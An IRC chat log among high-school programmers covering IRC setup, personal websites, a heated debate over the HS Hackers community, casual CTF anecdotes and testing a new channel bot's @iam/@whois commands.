[2015-01-13T19:53:08-0500] <+JacobEdelman> hardmath123: if we end up with cash maybe we will
[2015-01-13T19:53:09-0500] <+JacobEdelman> :P
[2015-01-13T19:53:17-0500] <+hardmath123> zrl: your github commit history made me just a little nauseous.
[2015-01-13T19:53:41-0500] <+JacobEdelman> hardmath123: (were gonna start looking for sponsors to sponsor all of hscs.io rather than individual events soonish)
[2015-01-13T19:54:19-0500] <+JacobEdelman> zrl: what's your github username?
[2015-01-13T19:54:39-0500] <nezorg> halp
[2015-01-13T19:54:43-0500] <nezorg> I don't know how to irssi
[2015-01-13T19:54:46-0500] <nezorg> and messed something up
[2015-01-13T19:56:46-0500] <nezorg> zrl: what's the address of the irc server?
[2015-01-13T19:57:15-0500] <zrl> JacobEdelman: zachlatta
[2015-01-13T19:57:22-0500] <zrl> nezorg: hmm?
[2015-01-13T19:57:35-0500] <nezorg> on hashbang
[2015-01-13T19:57:44-0500] <nezorg> I screwed something up with irssi on the server
[2015-01-13T19:57:50-0500] <nezorg> and want to connect to it with my normal client
[2015-01-13T19:57:53-0500] <zrl> ah, not entirely sure
[2015-01-13T19:57:59-0500] <nezorg> ...ah
[2015-01-13T19:58:25-0500] <zrl> hmm
[2015-01-13T19:58:42-0500] <zrl> maybe localhost:6697
[2015-01-13T19:58:47-0500] <zrl> or localhost:6669
[2015-01-13T19:58:52-0500] <zrl> whatever the default irc port is
[2015-01-13T20:00:23-0500] <nezorg> well there's a bitlbee server on 6667
[2015-01-13T20:00:54-0500] <@awe> 6667 is the default irc port.
[2015-01-13T20:00:58-0500] <nezorg> correct
[2015-01-13T20:02:42-0500] <nezorg> zrl: can you kill my irssi process?
[2015-01-13T20:03:14-0500] <zrl> i'm not associated with hashbang.sh
[2015-01-13T20:03:18-0500] <zrl> just think it's cool
[2015-01-13T20:03:18-0500] <nezorg> ...oh
[2015-01-13T20:03:22-0500] <nezorg> sorry then
[2015-01-13T20:03:24-0500] <nezorg> :P
[2015-01-13T20:03:27-0500] <zrl> no worries :p
[2015-01-13T20:04:00-0500] <@awe> [19:48:25]  <+JacobEdelman>	haskell, camel, rust, lisp, and (gasp) perl
[2015-01-13T20:04:03-0500] <@awe> JacobEdelman: camel?
[2015-01-13T20:04:06-0500] <@awe> JacobEdelman: do you mean OCaml?
[2015-01-13T20:04:13-0500] <+JacobEdelman> yes
[2015-01-13T20:04:16-0500] <+JacobEdelman> close enough
[2015-01-13T20:04:25-0500] <@awe> Except not.
[2015-01-13T20:04:32-0500] <@awe> Also, let me prioritize that for you
[2015-01-13T20:04:37-0500] <+hardmath123> nezorg: can't you kill it yourself? just log in from another terminal and kilall irssi or something
[2015-01-13T20:04:39-0500] <@awe> Anything except Perl, Perl.
[2015-01-13T20:04:42-0500] <@awe> Well.
[2015-01-13T20:04:44-0500] <@awe> Let me adjust.
[2015-01-13T20:04:50-0500] <@awe> Anything except Perl, suicide, Perl.
[2015-01-13T20:04:55-0500] <nezorg> hardmath123: problem is that I don't know how to tmux either
[2015-01-13T20:05:00-0500] <nezorg> although I suppose I could look that up too
[2015-01-13T20:05:03-0500] <+hardmath123> nezorg: learn to tmux!
[2015-01-13T20:05:07-0500] <nezorg> whyyyyyy
[2015-01-13T20:05:09-0500] <+hardmath123> nezorg: http://hardmath123.github.io/tmux.html
[2015-01-13T20:05:39-0500] <nezorg> <nezorg> whyyyyyy
[2015-01-13T20:07:01-0500] <@awe> hardmath123: the backtick website looks basically like what the pdgn site is going to look like. :D
[2015-01-13T20:07:19-0500] <+hardmath123> design or content -wise?
[2015-01-13T20:07:27-0500] <@awe> both.
[2015-01-13T20:07:41-0500] <@awe> hardmath123: hey, do you want me to donate a domain?
[2015-01-13T20:07:52-0500] <@awe> I'll buy you one.
[2015-01-13T20:08:23-0500] <+hardmath123> if you could make backtick.town happen, that would be awe-some <3
[2015-01-13T20:08:42-0500] <+JacobEdelman> zrl: what did you use to make the presentations on your site?
[2015-01-13T20:09:54-0500] <+JacobEdelman> awe: hardmath123's site fails are larger screen, needs better margins
[2015-01-13T20:10:02-0500] <@awe> wat?
[2015-01-13T20:10:05-0500] <@awe> Fails how?
[2015-01-13T20:10:55-0500] <+JacobEdelman> http://imgur.com/P5nJUtb
[2015-01-13T20:11:00-0500] <+JacobEdelman> margins too wide
[2015-01-13T20:11:28-0500] <@awe> Looks fine
[2015-01-13T20:11:49-0500] <+JacobEdelman> no, bad use of whitespace
[2015-01-13T20:12:17-0500] <@awe> Not really.
[2015-01-13T20:12:23-0500] <@awe> The whitespace focuses you on the center.
[2015-01-13T20:13:17-0500] <+JacobEdelman> .... and that's needed
[2015-01-13T20:13:22-0500] <+JacobEdelman> cause there's so little center
[2015-01-13T20:13:29-0500] <+JacobEdelman> (it looks fine on smaller screens)
[2015-01-13T20:15:26-0500] <zrl> JacobEdelman: keynote
[2015-01-13T20:15:34-0500] <zrl> i don't recommend looking at my presentations/talks
[2015-01-13T20:15:36-0500] <zrl> they're all terrible
[2015-01-13T20:16:19-0500] <+JacobEdelman> zrl: okay :P (I'm giving a presentation at the pennapps hs hackers meeting, I want it to be good)
[2015-01-13T20:16:22-0500] <@awe> I think it looks fine. Personally, I'd probably have slightly smaller margins though.
[2015-01-13T20:16:34-0500] <@awe> JacobEdelman: it's OS X only, fool
[2015-01-13T20:16:36-0500] <zrl> JacobEdelman: oh, awesome! i'll see you there.
[2015-01-13T20:16:40-0500] <+JacobEdelman> (well, myself +some other people)
[2015-01-13T20:16:43-0500] <+JacobEdelman> zrl: yup
[2015-01-13T20:16:54-0500] <@awe> You're giving a talk at pennapps?
[2015-01-13T20:16:55-0500] <@awe> Wat?
[2015-01-13T20:16:59-0500] <+JacobEdelman> yes
[2015-01-13T20:17:05-0500] <nezorg> "penapps hs hackers meeting"
[2015-01-13T20:17:06-0500] <+JacobEdelman> at the hshackers meetup
[2015-01-13T20:17:24-0500] <@awe> hardmath123: by the way, why did you use an image for a backtick?
[2015-01-13T20:17:27-0500] <nezorg> why isn't there a west coast version of hshackers
[2015-01-13T20:17:35-0500] <@awe> nezorg: who cares?
[2015-01-13T20:17:38-0500] <@awe> nezorg: it's a piece of shit.
[2015-01-13T20:17:56-0500] <nezorg> :P
[2015-01-13T20:18:00-0500] <nezorg> oh, san diego
[2015-01-13T20:18:04-0500] <@awe> Seriously. Most of them don't know how to program.
[2015-01-13T20:18:05-0500] <nezorg> but that's too far away
[2015-01-13T20:18:08-0500] <nezorg> awe: wat
[2015-01-13T20:18:18-0500] <@awe> They're all talk.
[2015-01-13T20:18:19-0500] <zrl> nezorg: i've never really seen it as limited to the east coast, or having a "location"
[2015-01-13T20:18:40-0500] <nezorg> zrl: well there are various cities listed...
[2015-01-13T20:18:44-0500] <zrl> oh, lol
[2015-01-13T20:18:48-0500] <zrl> that's victor listing meetups
[2015-01-13T20:18:50-0500] <nezorg> (one of which is a west coast city, hadn't seen it before)
[2015-01-13T20:18:53-0500] <zrl> should probably be more clear about that
[2015-01-13T20:19:00-0500] <zrl> someone should start a socal or norcal meetup
[2015-01-13T20:19:08-0500] <zrl> awe: i disagree. i think as the group grows, more noise is inevitable.
[2015-01-13T20:19:20-0500] <zrl> i know i've met some of the smartest people i know through hs hackers.
[2015-01-13T20:19:31-0500] <+JacobEdelman> zrl: I forget, you help run hs hackers?
[2015-01-13T20:19:39-0500] <zrl> yeah, i don't do a very good job though
[2015-01-13T20:19:54-0500] <@awe> I'd argue that's because you're limiting your interaction with other programmers to high schoolers.
[2015-01-13T20:20:16-0500] <nezorg> zrl: how do you even interact with other people inside it other than meetups?
[2015-01-13T20:20:37-0500] <zrl> nezorg: there are a bunch of subgroups and through meeting people at hackathons and various events
[2015-01-13T20:20:49-0500] <zrl> awe: eh, i think you underestimate the ability of most high schoolers. sometimes it's nice to interact with others your age.
[2015-01-13T20:20:58-0500] <nezorg> zrl: hrm
[2015-01-13T20:21:08-0500] <@awe> At the very least, the HS Hackers facebook group is full of garbage.
[2015-01-13T20:21:21-0500] <+Tamini> lol
[2015-01-13T20:21:36-0500] <+Tamini> i mainly see it as a good platform for publicity
[2015-01-13T20:21:45-0500] <+JacobEdelman> zrl: awe has a tendancy to have extreme opinions :P
[2015-01-13T20:21:52-0500] <@awe> This isn't an extreme opinion at all.
[2015-01-13T20:21:56-0500] <nezorg> awe: luckily no fb to see that! :P
[2015-01-13T20:22:19-0500] <+JacobEdelman> I like hshackers
[2015-01-13T20:22:25-0500] <+JacobEdelman> there are quite a few good people there
[2015-01-13T20:22:43-0500] <+JacobEdelman> and its a good place for hshackers to learn
[2015-01-13T20:22:47-0500] <@awe> Why?
[2015-01-13T20:22:48-0500] <+JacobEdelman> even if they arn't great
[2015-01-13T20:22:53-0500] <+JacobEdelman> it's a community
[2015-01-13T20:22:59-0500] <@awe> Of people without experience.
[2015-01-13T20:23:04-0500] <nezorg> they should play in ctfs in one giant team :P
[2015-01-13T20:23:09-0500] <+JacobEdelman> nah, some of them have a lot
[2015-01-13T20:23:15-0500] <@awe> No, they literally cannot.
[2015-01-13T20:23:18-0500] <+JacobEdelman> the leaders are very impressive
[2015-01-13T20:23:24-0500] <@awe> They have not LIVED long enough to have a lot of experience.
[2015-01-13T20:23:43-0500] <+JacobEdelman> ... when did we say they have a lot of experince?
[2015-01-13T20:23:44-0500] <@awe> I've been programming for half of my life, and I'm inexperienced.
[2015-01-13T20:23:49-0500] <@awe> "[20:23:09]  <+JacobEdelman>	nah, some of them have a lot"
[2015-01-13T20:23:55-0500] <+JacobEdelman> well, a lot
[2015-01-13T20:23:57-0500] <+JacobEdelman> based on
[2015-01-13T20:23:59-0500] <+JacobEdelman> what we have
[2015-01-13T20:24:07-0500] <+JacobEdelman> aka, an amount to be as good as us
[2015-01-13T20:24:15-0500] <+Tamini> wasnt it originally
[2015-01-13T20:24:19-0500] <+Tamini> just a group of people from pennapps
[2015-01-13T20:24:22-0500] <@awe> Yes.
[2015-01-13T20:24:23-0500] <+Tamini> that grew into a huge group
[2015-01-13T20:24:36-0500] <+Tamini> iunno mainly its just that the group is really fucking big
[2015-01-13T20:24:47-0500] <@awe> It seems like it's just some nonsense to make Victor seem impressive.
[2015-01-13T20:24:59-0500] <+JacobEdelman> what, nah, Victor is impressive
[2015-01-13T20:25:04-0500] <+JacobEdelman> without it
[2015-01-13T20:25:35-0500] <@awe> We already went over this.
[2015-01-13T20:25:39-0500] <@awe> He's made a bunch of non-things.
[2015-01-13T20:25:54-0500] <nezorg> sounds like me! :P
[2015-01-13T20:26:06-0500] <nezorg> well I more like
[2015-01-13T20:26:09-0500] <nezorg> non-make a bunch of thing
[2015-01-13T20:26:10-0500] <nezorg> s
[2015-01-13T20:26:13-0500] <@awe> You're at least more than marketing speak though, nezorg.
[2015-01-13T20:26:38-0500] <nezorg> I'm bad at finishing things
[2015-01-13T20:26:39-0500] <+JacobEdelman> nezorg: same
[2015-01-13T20:27:10-0500] <nezorg> as soon as I get a poc I find something else cool to play with :c
[2015-01-13T20:27:35-0500] <zrl> awe: victor is very impressive
[2015-01-13T20:27:44-0500] <zrl> especially if you know where he's coming from
[2015-01-13T20:27:48-0500] <zrl> i think that's really hard to dispute
[2015-01-13T20:27:51-0500] <@awe> A world of marketing speak?
[2015-01-13T20:28:08-0500] <zrl> :/
[2015-01-13T20:28:17-0500] <nezorg> who is this?
[2015-01-13T20:28:23-0500] <@awe> http://victorlourng.com
[2015-01-13T20:28:36-0500] <@awe> nezorg: I'm pretty sure you were in agreement with me about this when we looked at his website before.
[2015-01-13T20:29:04-0500] <nezorg> well based on his website yet
[2015-01-13T20:29:05-0500] <nezorg> *yeah
[2015-01-13T20:29:12-0500] <nezorg> not sure what the person's like
[2015-01-13T20:29:12-0500] <@awe> I don't really have anything else to go on.
[2015-01-13T20:29:21-0500] <nezorg> my website is less impressive :P
[2015-01-13T20:29:25-0500] <@awe> I just know that JacobEdelman dickrides him.
[2015-01-13T20:29:27-0500] <+Tamini> lol
[2015-01-13T20:29:31-0500] <+Tamini> isnt the only thing on your site like
[2015-01-13T20:29:34-0500] <+Tamini> nothing
[2015-01-13T20:29:37-0500] <nezorg> my email address!
[2015-01-13T20:29:39-0500] <@awe> I remember the first day JacobEdelman met him and he insisted that I look at his site and see how cool he was.
[2015-01-13T20:29:39-0500] <nezorg> !
[2015-01-13T20:29:58-0500] <nezorg> Tamini: I started writing one blog post but got distracted >_>
[2015-01-13T20:30:12-0500] <+hardmath123> you know what bothers me about hashbang.sh/#!? The lack of a title on the page.
[2015-01-13T20:30:16-0500] <+hardmath123> The tab is so... empty.
[2015-01-13T20:30:18-0500] <+hardmath123> :/
[2015-01-13T20:30:22-0500] <+Tamini> lol
[2015-01-13T20:30:30-0500] <+Tamini> hardmath123's site just paints him as a super interesting human being
[2015-01-13T20:31:01-0500] <@awe> zrl: I'll bite. Why should I be impressed?
[2015-01-13T20:31:12-0500] <nezorg> Tamini: what's his site?
[2015-01-13T20:31:20-0500] <+Tamini> uh
[2015-01-13T20:31:21-0500] <@awe> nezorg: https://hardmath123.github.io/
[2015-01-13T20:31:26-0500] <+Tamini> ^
[2015-01-13T20:31:32-0500] <zrl> he comes from a less than favorable economic situation
[2015-01-13T20:31:38-0500] <nezorg> ...github.io supports https now?
[2015-01-13T20:31:42-0500] <zrl> and has become an extremely talented developer regardless
[2015-01-13T20:31:49-0500] <+hardmath123> Tamini: but it's ~90 minutes of reading before you establish that i'm smart (according to WolframAlpha: 25,000 words)
[2015-01-13T20:31:52-0500] <@awe> Maybe not.
[2015-01-13T20:31:56-0500] <@awe> I typed that myself.
[2015-01-13T20:31:58-0500] <zrl> becoming a leader in the east coast tech community
[2015-01-13T20:32:00-0500] <+Tamini> heh
[2015-01-13T20:32:02-0500] <+Tamini> but I like it
[2015-01-13T20:32:22-0500] <+Tamini> ooh, a new post!
[2015-01-13T20:32:31-0500] <@awe> zrl: I'm talking about why he's impressive as a developer.
[2015-01-13T20:32:48-0500] <nezorg> I like the guy who made 24 days of cabal's website
[2015-01-13T20:32:53-0500] <+hardmath123> Tamini: two, actually, both scratch-related.
[2015-01-13T20:33:01-0500] <nezorg> *hackage
[2015-01-13T20:33:03-0500] <zrl> a good developer is a lot more than their ability to write code
[2015-01-13T20:33:04-0500] <+Tamini> lol
[2015-01-13T20:33:13-0500] <@awe> zrl: I don't care about whether or not he can get a bunch of other high schoolers to join some community.
[2015-01-13T20:33:15-0500] <+JacobEdelman> awe: hmmm... the hackathon scene tends to have more of a focus on leadership than other developer communities
[2015-01-13T20:33:22-0500] <+JacobEdelman> awe: and he's a good leader
[2015-01-13T20:33:23-0500] <+Tamini> i can only remember how to generate the mandelbrot set by singing it
[2015-01-13T20:33:24-0500] <@awe> Leadership of WHAT?
[2015-01-13T20:33:25-0500] <+Tamini> truestory
[2015-01-13T20:33:29-0500] <+JacobEdelman> awe: he organizes things...
[2015-01-13T20:33:32-0500] <nezorg> https://ocharles.org.uk/
[2015-01-13T20:33:34-0500] <+JacobEdelman> awe: lots of things
[2015-01-13T20:33:45-0500] <+hardmath123> Tamini: What? teach me!
[2015-01-13T20:33:52-0500] <+Tamini> also hardmath123: that pic quality in the second to last post :/
[2015-01-13T20:33:52-0500] <@awe> That doesn't make him technically impressive.
[2015-01-13T20:33:54-0500] <+Tamini> uhh
[2015-01-13T20:34:20-0500] <nezorg> (not sure how his strings get automatically converted to URLs without OverloadedStrings though...)
[2015-01-13T20:34:30-0500] <nezorg> oh
[2015-01-13T20:34:31-0500] <nezorg> oops
[2015-01-13T20:34:35-0500] <nezorg> overlooked the type defn
[2015-01-13T20:34:36-0500] <nezorg> derp
[2015-01-13T20:34:59-0500] <+JacobEdelman> awe: I never claimed he was technically impressed, although I do like his desgin and his ability to create fully functional, polished looking, finished products is very impressive
[2015-01-13T20:35:12-0500] <@awe> Fully functional, polished looking, finished products?
[2015-01-13T20:36:01-0500] <@awe> nezorg: lI like this site
[2015-01-13T20:36:09-0500] <@awe> nezorg: it's cute.
[2015-01-13T20:37:22-0500] <+hardmath123> Tamini: that's a screenshot, i couldn't find a way to betterify it.
[2015-01-13T20:37:26-0500] <+JacobEdelman> nezorg: oh, thats annoying, it has the gimmickyness of my site, yes is actually usable, it makes me feel inadequate, 2 stars :P
[2015-01-13T20:37:45-0500] <+Tamini> its still ugly and it bugs
[2015-01-13T20:37:56-0500] <+hardmath123> :(
[2015-01-13T20:39:22-0500] <@awe> hardmath123: seriously, why did you use an image for the backtick? It's a keyboard character.
[2015-01-13T20:39:25-0500] <+Tamini> its ok you tried
[2015-01-13T20:40:51-0500] <+hardmath123> awe: i didn't, but the guy who designed the homepage was like "getting a decently spaced large backtick was a pain, and backtick.io---a legit-looking company---uses an image"
[2015-01-13T20:41:18-0500] <@awe> a legit company?
[2015-01-13T20:41:26-0500] <@awe> It's a chrome extension
[2015-01-13T20:41:29-0500] <@awe> made by one dude
[2015-01-13T20:41:54-0500] <@awe> JacobEdelman: also, you were trying to argue that there's a lot of technical ability in the hackathon scene
[2015-01-13T20:41:54-0500] <+hardmath123> something like that
[2015-01-13T20:42:05-0500] <@awe> JacobEdelman: and then can't demonstrate any technical ability at all.
[2015-01-13T20:42:22-0500] <+JacobEdelman> awe: what finished, consumer usable, products have you made?
[2015-01-13T20:42:54-0500] <+JacobEdelman> awe: also, I go to hackathons
[2015-01-13T20:43:03-0500] <+JacobEdelman> ergo there is large amounts of technical ability there
[2015-01-13T20:43:05-0500] <+JacobEdelman> :P
[2015-01-13T20:46:15-0500] <@awe> Firstly, I didn't say I'm technically impressive. You're making a mediocre argument with that. Secondly, I work at a company and produce an actual consumer product being consumed. I don't see Victor having created anything of the sort.
[2015-01-13T20:48:17-0500] <@awe> And arguing that I'm not technically impressive is still not an argument proving that HS Hackers is somehow full of technically-talented people.
[2015-01-13T20:51:07-0500] <nezorg> how does one prove one's technical talent to you o great one
[2015-01-13T20:51:26-0500] <nezorg> awe ^
[2015-01-13T20:52:35-0500] <+JacobEdelman> ^
[2015-01-13T20:52:46-0500] <@awe> Well, you did by performing well in challenging computer security competitions.
[2015-01-13T20:52:52-0500] <+JacobEdelman> it's nice to have a community like pidgeon
[2015-01-13T20:52:56-0500] <+JacobEdelman> so I know I'm not a long
[2015-01-13T20:52:59-0500] <+JacobEdelman> in arguing with awe
[2015-01-13T20:53:00-0500] <+JacobEdelman> :O
[2015-01-13T20:53:02-0500] <+JacobEdelman> *:P
[2015-01-13T20:53:10-0500] <+hardmath123> lol
[2015-01-13T20:53:26-0500] <@awe> It's not like there don't exist people who agree with me.
[2015-01-13T20:53:28-0500] <nezorg> awe: I thought that was only because you thought I solo'd csaw :P
[2015-01-13T20:53:31-0500] <@awe> I'm just arguing against the grain here.
[2015-01-13T20:53:40-0500] <@awe> nezorg: I mean, I did.
[2015-01-13T20:54:36-0500] <nezorg> what if I just guessed the flags
[2015-01-13T20:55:00-0500] <@awe> I'd be impressed at your ability to guess.
[2015-01-13T20:55:13-0500] <nezorg> what if I metasploited the control server? :P
[2015-01-13T20:55:28-0500] <@awe> Well, I'd mostly just laugh.
[2015-01-13T20:56:01-0500] <nezorg> "well, you guys were vulnerable to shellshock, what can I say"
[2015-01-13T20:56:50-0500] <+Tamini> lolol
[2015-01-13T20:56:53-0500] <+Tamini> wait nezorg
[2015-01-13T20:56:55-0500] <+Tamini> you know
[2015-01-13T20:57:03-0500] <+Tamini> we metasploited the isis server
[2015-01-13T20:57:05-0500] <+Tamini> for hsf right
[2015-01-13T20:57:09-0500] <nezorg> ...really?
[2015-01-13T20:57:17-0500] <nezorg> I've never actually used metasploit
[2015-01-13T20:57:17-0500] <+Tamini> we subdomainsearched
[2015-01-13T20:57:25-0500] <+Tamini> the night before
[2015-01-13T20:57:26-0500] <nezorg> oh, I used an online tool for that :P
[2015-01-13T20:57:29-0500] <+Tamini> lolol
[2015-01-13T20:57:36-0500] <+Tamini> im pretty sure gus like
[2015-01-13T20:57:57-0500] <+Tamini> nmap'd the entire thing
[2015-01-13T20:58:04-0500] <+Tamini> hsf was so poorly designed :/
[2015-01-13T20:58:32-0500] <nezorg> heheh yeah
[2015-01-13T20:58:41-0500] <+Tamini> next year
[2015-01-13T20:58:45-0500] <+Tamini> i'm bringing sdamasam
[2015-01-13T20:58:52-0500] <+Tamini> and we're going to see how much we can break everything
[2015-01-13T20:58:53-0500] <+Tamini> :D
[2015-01-13T20:59:12-0500] <nezorg> noice
[2015-01-13T20:59:15-0500] <+Tamini> also wait
[2015-01-13T20:59:19-0500] <+Tamini> funny story
[2015-01-13T20:59:21-0500] <+Tamini> did you find isisbook
[2015-01-13T20:59:26-0500] <nezorg> I think so
[2015-01-13T20:59:36-0500] <+Tamini> so you found the login from the phone
[2015-01-13T20:59:42-0500] <nezorg> idr
[2015-01-13T20:59:44-0500] <+Tamini> problem: there was a change password functionality
[2015-01-13T20:59:50-0500] <+Tamini> bigger problem: the functionality worked
[2015-01-13T20:59:52-0500] <nezorg> ... XD
[2015-01-13T21:00:07-0500] <+Tamini> :D
[2015-01-13T21:01:52-0500] <+JacobEdelman> http://www.xkcdb.com/9286
[2015-01-13T21:02:28-0500] <+Tamini> lolol
[2015-01-13T21:02:30-0500] <@awe> Victor's website maxed my CPU.
[2015-01-13T21:02:56-0500] <+JacobEdelman> http://www.xkcdb.com/9772
[2015-01-13T21:03:55-0500] <+hardmath123> to be fair, 80% of that channel's traffic used to be `puddle` posting cat pictures and respectable men going "awwww"
[2015-01-13T21:05:09-0500] <+JacobEdelman> http://www.xkcdb.com/8999
[2015-01-13T21:05:14-0500] <@awe> JacobEdelman: this nice website froze a friend's computer, and maxed a core on my CPU.
[2015-01-13T21:07:43-0500] <+JacobEdelman> http://www.xkcdb.com/9133
[2015-01-13T21:07:49-0500] <nezorg> JacobEdelman: I think calling knuth a developer is a bit insulting...
[2015-01-13T21:08:01-0500] <+JacobEdelman> hmmm... yeah, could be
[2015-01-13T21:08:12-0500] <@awe> JacobEdelman: you also made no attempt at all to demonstrate anyone's technical ability besides pointing an arrow at something nezorg said.
[2015-01-13T21:08:56-0500] <nezorg> what did I say?
[2015-01-13T21:09:29-0500] <@awe> [20:51:07]  <nezorg>	how does one prove one's technical talent to you o great one
[2015-01-13T21:09:39-0500] <nezorg> ah
[2015-01-13T21:09:47-0500] <@awe> Which I don't appreciate the snippiness of.
[2015-01-13T21:10:23-0500] <+JacobEdelman> http://www.xkcdb.com/9391
[2015-01-13T21:10:37-0500] <+JacobEdelman> awe: I am smart
[2015-01-13T21:10:51-0500] <+JacobEdelman> awe: That is a self-evident fact.
[2015-01-13T21:11:14-0500] <@awe> I didn't insinuate that I'm somehow great, nor is it impossible for anyone to impress me with their technical ability. But I'm sorry for not being impressed by someone's ability to make websites that max my processor.
[2015-01-13T21:11:59-0500] <+JacobEdelman> http://www.xkcdb.com/9713
[2015-01-13T21:12:42-0500] <+JacobEdelman> http://www.xkcdb.com/8378
[2015-01-13T21:14:38-0500] <+JacobEdelman> I'm noticing a trend among nerds: http://www.xkcdb.com/5127
[2015-01-13T21:15:16-0500] <+JacobEdelman> http://www.xkcdb.com/6139
[2015-01-13T21:16:42-0500] <+JacobEdelman> http://www.xkcdb.com/9689
[2015-01-13T21:19:54-0500] <+JacobEdelman> hmmm... I had the definition of "organ grinder" badly wrong
[2015-01-13T21:24:54-0500] <@awe> Also, for the record, radicalization is a natural human response to being challenged while outnumbered.
[2015-01-13T21:25:37-0500] <+JacobEdelman> awe: hmmm... we both do that quiet a lot
[2015-01-13T21:25:44-0500] <+Tamini> the issue is
[2015-01-13T21:25:51-0500] <+JacobEdelman> (to be fair I do that in any situation, outnumbered or not)
[2015-01-13T21:25:56-0500] <+Tamini> radicalization makes you more prone to creating flaws in your argument
[2015-01-13T21:25:57-0500] <+Tamini> :/
[2015-01-13T21:26:01-0500] <@awe> Yes, it does.
[2015-01-13T21:26:08-0500] <+JacobEdelman> nah, my arguments are bullet proof
[2015-01-13T21:26:15-0500] <+JacobEdelman> :P
[2015-01-13T21:26:19-0500] <@awe> Not that it matters since you're outnumbered anyway and thus will automatically lose.
[2015-01-13T21:26:35-0500] <+JacobEdelman> no, I always win
[2015-01-13T21:26:36-0500] alokpathy (uid15876@pdgn-5ih.9lf.7cuf9e.IP) joined the channel
[2015-01-13T21:26:42-0500] <+JacobEdelman> right alok?
[2015-01-13T21:26:45-0500] <@awe> Say no.
[2015-01-13T21:26:46-0500] <@awe> hi alokpathy
[2015-01-13T21:26:52-0500] <alokpathy> What?
[2015-01-13T21:26:53-0500] <alokpathy> Who?
[2015-01-13T21:27:02-0500] <+JacobEdelman> No.
[2015-01-13T21:27:05-0500] <+JacobEdelman> Where.
[2015-01-13T21:27:11-0500] <alokpathy> Wrong.
[2015-01-13T21:27:12-0500] <alokpathy> No.
[2015-01-13T21:27:23-0500] <alokpathy> Whatever it is.
[2015-01-13T21:27:26-0500] <alokpathy> I trust awe more.
[2015-01-13T21:27:28-0500] <alokpathy> It's a no.
[2015-01-13T21:27:29-0500] <+hardmath123> i'm confused on behalf of alokpathy.
[2015-01-13T21:27:31-0500] <@awe> He was saying he wins every argument.
[2015-01-13T21:27:37-0500] <alokpathy> Oh no definitely not.
[2015-01-13T21:27:39-0500] <+JacobEdelman> I do
[2015-01-13T21:27:46-0500] <+JacobEdelman> well.. in my opinion I do
[2015-01-13T21:27:47-0500] <+JacobEdelman> :P
[2015-01-13T21:27:51-0500] <alokpathy> I can't tell if you're kidding.
[2015-01-13T21:28:07-0500] <+JacobEdelman> can we have statuses in pdgn?
[2015-01-13T21:28:14-0500] <+JacobEdelman> I want something that assigns people a status
[2015-01-13T21:28:16-0500] <+JacobEdelman> so I can have
[2015-01-13T21:28:22-0500] <+JacobEdelman> disclaimer: I am kidding
[2015-01-13T21:28:24-0500] <+JacobEdelman> as my status
[2015-01-13T21:28:26-0500] <alokpathy> Oh good
[2015-01-13T21:28:27-0500] <@awe> You cannot have statuses.
[2015-01-13T21:28:32-0500] • alokpathy: runs off to dinner.
[2015-01-13T21:28:39-0500] <+JacobEdelman> awww... I'll have to make status bot
[2015-01-13T21:28:45-0500] <+JacobEdelman> *awwe
[2015-01-13T21:31:49-0500] <+JacobEdelman> http://www.xkcdb.com/5997
[2015-01-13T21:32:36-0500] <@awe> I'm going to drop mailbot soon
[2015-01-13T21:32:41-0500] <@awe> And replace him with awebot
[2015-01-13T21:34:45-0500] <@awe> So, I can write a quotes plugin and a status plugin.
[2015-01-13T21:34:56-0500] <+Tamini> yay
[2015-01-13T21:34:56-0500] <+Tamini> <3
[2015-01-13T21:35:01-0500] <+Tamini> i really want quotes support
[2015-01-13T21:35:45-0500] <@awe> I'm working on it right now. :D
[2015-01-13T21:37:35-0500] <@awe> I think I'm also going to enhance awebot a bit so that I only have to run one instance of him for multiple servers.
[2015-01-13T21:37:57-0500] • alokpathy: has returned.
[2015-01-13T21:38:08-0500] <alokpathy> Oh yay
[2015-01-13T21:38:18-0500] <+Tamini> hiii 
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[2015-01-13T21:49:57-0500] <@awe> @iam a professional ninja.
[2015-01-13T21:49:57-0500] <awebot> awe: Got it!
[2015-01-13T21:50:29-0500] <@awe> @iam a sea-faring pirate.
[2015-01-13T21:50:29-0500] <awebot> awe: Got it!
[2015-01-13T21:51:01-0500] <+hardmath123> @whois awe
[2015-01-13T21:51:04-0500] <@awe> Hold on.
[2015-01-13T21:51:07-0500] <@awe> I haven't gotten that far yet.
[2015-01-13T21:51:12-0500] <@awe> How'd you know it was going to be whois though?
[2015-01-13T21:51:20-0500] <+hardmath123> seemed obvious
[2015-01-13T21:51:28-0500] <@awe> Awesome.
[2015-01-13T21:51:41-0500] <+hardmath123> yeah
[2015-01-13T21:51:54-0500] <@awe> Things that seem obvious are the best.
[2015-01-13T21:52:37-0500] • hardmath123: is enjoying having an empty inbox for the first time in weeks.
[2015-01-13T21:52:50-0500] <@awe> But I just sent you an email, hardmath123
[2015-01-13T21:53:13-0500] <+hardmath123> GRRRRRRRRR
[2015-01-13T21:53:20-0500] <+Tamini> lol
[2015-01-13T21:53:24-0500] <alokpathy> hardmath123: What's your email?
[2015-01-13T21:53:26-0500] <+Tamini> brb pgp encrypting apush essay and sending
[2015-01-13T21:53:57-0500] <@awe> @whois awe
[2015-01-13T21:53:58-0500] <awebot> awe: awe is a sea-faring pirate..
[2015-01-13T21:53:58-0500] <+hardmath123> alokpathy: hardmath123@gmail.com, though I feel by saying this I'm asking for trouble.
[2015-01-13T21:54:01-0500] <+Tamini> and yes hardmath123, what's your email
[2015-01-13T21:54:05-0500] <@awe> @iam a sea-faring pirate
[2015-01-13T21:54:05-0500] <awebot> awe: Got it!
[2015-01-13T21:54:07-0500] <@awe> @whois awe
[2015-01-13T21:54:07-0500] <awebot> awe: awe is a sea-faring pirate.
[2015-01-13T21:54:13-0500] <+hardmath123> @iam groot.
[2015-01-13T21:54:13-0500] <awebot> hardmath123: Got it!
[2015-01-13T21:54:33-0500] <+Tamini> @iam a robot. beep boop
[2015-01-13T21:54:33-0500] <awebot> Tamini: Got it!
[2015-01-13T21:54:47-0500] <+hardmath123> @iam number four.
[2015-01-13T21:54:47-0500] <awebot> hardmath123: Got it!
[2015-01-13T21:54:47-0500] <@awe> It no longer automatically adds a period at the end.
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[2015-01-13T21:54:52-0500] <@awe> @whois hardmath123
[2015-01-13T21:54:52-0500] <awebot> awe: hardmath123 is number four.
[2015-01-13T21:54:54-0500] <@awe> @whois awe
[2015-01-13T21:54:54-0500] <awebot> awe: awe is a sea-faring pirate
[2015-01-13T21:54:57-0500] <@awe> @iam a sea-faring pirate.
[2015-01-13T21:54:57-0500] <awebot> awe: Got it!
[2015-01-13T21:55:00-0500] <+Tamini> @whois Tamini
[2015-01-13T21:55:00-0500] <awebot> Tamini: Tamini is a robot. beep boop
